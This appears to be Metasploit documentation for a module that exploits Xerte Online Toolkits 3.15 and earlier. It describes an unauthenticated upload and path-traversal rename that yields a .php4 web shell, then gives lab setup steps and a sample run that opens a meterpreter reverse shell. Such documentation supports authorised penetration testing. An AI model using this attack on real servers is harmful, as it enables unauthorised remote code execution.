documentation/modules/exploit/multi/http/xerte_unauthenticated_mediaupload.md
This module exploits authentication failure, extension blacklist, and path traversal vulnerabilities in Xerte Online Toolkits versions 3.15 (at commit 4e40f8030a2e3267267db7ce03e0ff57270be6f5 as they do not use patch versions) and earlier.
The vulnerabilities exists in the /editor/elfinder/php/connector.php endpoint which which fails to kill execution after redirecting unauthenticated users. A file with a php payload can be uploaded and then moved outside of a user's directory to the webroot by using the elfinder "rename" functionality. Because of an improper use of regex in the file extension filter, the file can be renamed to have a .php4 extension, thus allowing remote code execution.
Tested Xerte Online Toolkits versions 3.15, 3.14, and 3.13 on Ubuntu 24.04 and 3.15 on Windows 10.
See installation instructions
sudo apt update && sudo apt upgrade
Download XAMPP from https://sourceforge.net/projects/xampp/
sudo ~/Downloads/xampp-linux-x64-8.2.12-0-installer.run
cd /opt/lampp/htdocs
sudo git clone https://github.com/thexerteproject/xerteonlinetoolkits
sudo mv xerteonlinetoolkits xt
cd xt
sudo git fetch --all
sudo git checkout -b master origin/master
sudo git checkout 4e40f8030a2e3267267db7ce03e0ff57270be6f5
To start the xampp management console:
sudo /opt/lampp/manager-linux-x64.run
Then ensure Apache and MySQL are running.
sudo /opt/lampp/bin/mysql
use mysql
CREATE USER 'xerteadmin'@'localhost' IDENTIFIED BY 'password123';
GRANT ALL PRIVILEGES on *.* to 'xerteadmin'@'localhost' IDENTIFIED BY 'password123';
FLUSH PRIVILEGES;
exit
Navigate to http://localhost/xt/setup/
sudo chmod 777 /opt/lampp/htdocs/xt/{.,setup,USER-FILES,error_logs,import}Sign in as the admin created in previous step "admin1:admin123"
Users > Manage Db auth users
Login name: user1 First name: fName Last name: lName Password: user123 Email: <leave blank>
Hit "Create user" then logout
Sign into the new user at http://localhost/xt (or whatever the directory you created under htdocs is)
On the very right side of the application under "Project Templates" click the "Create" button under the "Xerte Online Toolkit" ribbon.
You should be prompted for a name for the new template. Use whatever name and click "Create" again. Close out of the Template editor that opens up. You can click "Cancel" or "Ok" when prompted to Publish the changes, doesn't matter which.
msfconsoleuse exploit/multi/http/xerte_unauthenticated_mediauploadset RHOSTS <target>set TARGETURI <uri to xerte> (e.g., xerteonlinetoolkits/)set LHOST <your_ip>set USERNAME <valid user>exploitOn success a meterpreter session will be started If no WEBROOT argument is provided, one is automatically detected and used
The full filepath to the application root. For example /var/www/html/
If not given, the module will try to detect the webroot from the setup/ endpoint.
msf > use exploit/multi/http/xerte_unauthenticated_mediaupload
[*] Using configured payload php/meterpreter_reverse_tcp
msf exploit(multi/http/xerte_unauthenticated_mediaupload) > set rhosts 10.0.0.45
rhosts => 10.0.0.45
msf exploit(multi/http/xerte_unauthenticated_mediaupload) > set targeturi xt
targeturi => xt
msf exploit(multi/http/xerte_unauthenticated_mediaupload) > set webroot /opt/lampp/htdocs/xt
webroot => /opt/lampp/htdocs/xt
msf exploit(multi/http/xerte_unauthenticated_mediaupload) > set username user1
username => user1
msf exploit(multi/http/xerte_unauthenticated_mediaupload) > set lhost 10.0.0.218
lhost => 10.0.0.218
msf exploit(multi/http/xerte_unauthenticated_mediaupload) > run
[*] Started reverse TCP handler on 10.0.0.218:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Meterpreter session 1 opened (10.0.0.218:4444 -> 10.0.0.45:40848) at 2026-04-24 10:35:38 -0400
[!] This exploit may require manual cleanup of '/opt/lampp/htdocs/xt/USER-FILES/1-user1-Nottingham/veYtVoJC' on the target
[!] This exploit may require manual cleanup of '/opt/lampp/htdocs/xt/USER-FILES/1-user1-Nottingham/veYtVoJC.txt' on the target
[!] This exploit may require manual cleanup of '/opt/lampp/htdocs/xt/veYtVoJC.php4' on the target